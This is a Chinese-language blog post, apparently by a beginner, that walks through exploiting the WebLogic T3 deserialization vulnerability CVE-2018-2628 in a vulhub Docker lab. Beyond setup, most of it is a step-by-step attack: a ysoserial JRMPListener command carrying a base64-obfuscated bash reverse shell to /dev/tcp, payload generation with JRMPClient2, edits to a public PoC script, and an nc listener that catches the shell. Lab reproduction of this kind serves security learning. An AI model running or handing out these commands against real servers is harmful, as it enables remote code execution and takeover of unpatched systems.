一、写在前面
今天早早得回来了,马上就想找个漏洞复现一下,我说的复现只是指利用罢了!!这java随便爆个漏洞出来也是我这小白看不懂的!!也没法去追究原理,现在做的就是能够用就好了!!首先我找了一个cve-2015-4852的漏洞,看着看着我就蒙了,我要利用,大佬直接开始给我讲原理,能不懵吗?但这不能吓退我,于是我开始准备搭环境,a few years later!!!我放弃了,这环境我是搭不出来了,浪费了我快一个小时!!我决定漏洞复现,最好有一键搭环境的哪种,所以我找了个vulnhub里面的weblogc漏洞完整得走了一遍,其中也踩了一些坑,不过有惊无险,算是成功地利用了!!完事之后,心情有一丢丢低落,因为面对java这座大山我有点无力啊!!然后我就想去煮碗面吃了然后开始写文章,饭吃了后,我想先打把王者压压惊吧!!然后对面那个百里一直在哪逼逼叨,我刚入场就说我小鲁班走位飘逸,让我让着他!!我都懒得理他,后面这货就没有停过,几乎把我们队伍嘲讽了个遍!!!不过还是没人理他!!他们能赢也就靠韩信,我吐了!!!!这输得也太憋屈了!!!!
书接上回,言归正传!!!!
二、漏洞基本情况
CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。
这个T3协议很迷啊!!我看很对weblogic漏洞都是利用的这个协议!!!你说你这都打了补丁了,还能有漏洞也是个机智啊!!
三、环境准备
我们需要三台主机,一台攻击机,一台靶机,一台服务器,以下均这么称呼,我这里偷了下懒在一台机器上面复现了!!
ip:192.168.248.190
3.1 靶机准备
不说了,直接从gihub上面把vulnhun克隆下来
git clone https://github.com/vulhub/vulhub
这玩意会下载到当前目录
然后在目录里找到该漏洞
然后执行
docker-compose up -d
docker-compose没安装的可以去看我之前的文章
然后漏洞环境就跑起来了
现在就可以用浏览器访问了
http://yourip:7001/console
3.2 java安装
我开始是用windows当攻击机的,结果各种水土不服,又是安装java 1.8 又是安装python 2.7,我发现这些工具用最新的也不好,就经常出各种问题,所以说还是要用普及面最广的!!!
- 安装jdk包
yum install java-1.8.0-openjdk
-我们cd到java的安装目录里去看看
cd /usr/lib/jvm/java-1.8.0-openjdk
这个时候是没有jre的,我们还需要安装jre
- 安装jre
yum install java-1.8.0-openjdk-devel.x86_64
然后就可以看到jre了,上面那张图已经有了就不放新图了
-配置环境变量
直接执行
vim /etc/profile
添加下面的内容
69 export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.292.b10-1.el7_9.x86_64
70 export JRE_HOME=$JAVA_HOME/jre
71 export CLASSPATH=$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH
72 export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
JAVA_HOME的值是你jdk的数据包的位置,可别照着我的抄,其他的照着抄就好了
然后执行
source /etc/profile
好了现在java的环境就配置好了
四、复现及利用过程
漏洞利用工具包我已经帮你们搬运好了
weblogic CVE-2018-2628 利用工具包
首先我们执行下面命令看看T3协议开没开
nmap -n -v -p7001,7002 192.168.248.190 --script=weblogic-t3-info
运气不错,开着的!!!
然后我们将靶机的 ip:port 放入同目录下的url.txt文件中
像这样子的!!!!190主机就是我的靶机
然后我们执行下面命令进行漏洞检测
python CVE-2018-2628-MultiThreading.py
看到没有,存在漏洞!!!
然后我们在我们的服务器上运行一个JRMP,这是个啥我也说不清楚,不过他的作用就是一台存放payload的服务器,当我们攻击了存在漏洞的靶机后,靶机会到这台JRMP服务器去找这个payload
执行命令
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OC4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'
9999是我们JRMP服务器监听的端口,随便填一个!
我们的payload是bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OC4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
,这是什么呢?
其实就是bash -i >& /dev/tcp/192.168.248.190/7777 0>&1
为什么要写的这么奇形怪状呢?貌似是因为上面那玩意儿不支持管道符!!!记得替换ip与port
这里有一个网站可以很方便地转换
http://www.jackson-t.ca/runtime-exec-payloads.html
记得上面那条命令要在我们的payload服务器里面执行!!!
当出现上图字样的时候,表明命令执行成功
ysoserial-0.1-cve-2018-2628-all.jar这个就在我们的工具包里面
然后我们在攻击机里面执行
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.248.190:9999 | xxd -p | tr -d $'\n' && echo
命令里的ip与端口号,改成你JRMP服务器的ip与端口号
然后我们看到生成了一段数字
复制这串数字到weblogic_poc.py
里面将下图payload部分替换
第19行!!!
然后继续替换
dip替换为靶机的ip地址!!!
然后我们在我们的攻击机上监听一下反弹shell的接受端口
nc -lvp 7777
然后换个终端执行
python weblogic_poc.py
这里会显示payload请求成功
然后我们就可以在我们的监听端口看到
反弹shell成功!!!